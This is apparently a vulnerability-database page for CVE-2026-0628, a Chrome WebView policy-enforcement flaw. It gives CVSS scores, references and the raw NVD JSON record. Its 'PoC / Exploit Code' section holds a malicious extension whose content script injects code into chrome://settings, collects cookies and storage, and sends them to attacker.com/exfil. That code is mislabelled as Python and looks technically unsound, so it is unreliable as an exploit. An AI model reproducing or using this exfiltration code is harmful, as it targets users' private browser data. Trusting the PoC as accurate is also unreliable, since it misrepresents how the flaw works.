CVE-2026-0628

Description

Insufficient policy enforcement in WebView tag in Google Chrome prior to 143.0.7499.192 allowed an attacker who convinced a user to install a malicious extension to inject scripts or HTML into a privileged page via a crafted Chrome Extension. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

Google Chrome < 143.0.7499.192

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-0628 PoC - Malicious Chrome Extension
// This PoC demonstrates the WebView tag policy enforcement vulnerability

// manifest.json
{
  "manifest_version": 3,
  "name": "CVE-2026-0628 PoC Extension",
  "version": "1.0",
  "permissions": ["activeTab", "scripting"],
  "action": {
    "default_popup": "popup.html"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"]
  }]
}

// content.js - Inject malicious content via WebView
function exploitWebViewVulnerability() {
  // Create a WebView element to bypass SOP
  const webview = document.createElement('webview');
  webview.setAttribute('partition', 'trusted');
  webview.style.display = 'none';
  document.body.appendChild(webview);
  
  // Target privileged page
  const targetUrl = 'chrome://settings';
  
  webview.addEventListener('loadstop', function() {
    // Attempt to inject script into privileged context
    webview.executeScript({
      code: `
        // Steal sensitive data from privileged page
        const sensitiveData = {
          cookies: document.cookie,
          storage: localStorage,
          settings: document.body.innerHTML
        };
        // Send data to attacker-controlled server
        fetch('https://attacker.com/exfil', {
          method: 'POST',
          body: JSON.stringify(sensitiveData)
        });
      `
    });
  });
  
  webview.src = targetUrl;
}

// Trigger exploitation
document.addEventListener('DOMContentLoaded', exploitWebViewVulnerability);

// popup.html
/*
<!DOCTYPE html>
<html>
<body>
  <h1>Extension Installed</h1>
  <p>Click to activate exploit</p>
  <button onclick="chrome.runtime.sendMessage({action: 'exploit'})">
    Activate
  </button>
</body>
</html>
*/

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0628
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0628
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0628/
[4] VulDB https://vuldb.com/cve/CVE-2026-0628
[5] https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/463155954

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0628", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:17:07.093", "lastModified": "2026-01-12T16:48:33.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in WebView tag in Google Chrome prior to 143.0.7499.192 allowed an attacker who convinced a user to install a malicious extension to inject scripts or HTML into a privileged page via a crafted Chrome Extension. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.7499.192", "matchCriteriaId": "D3CA58B4-E298-4CAF-91FC-6570689DC687"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://issues.chromium.org/issues/463155954", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}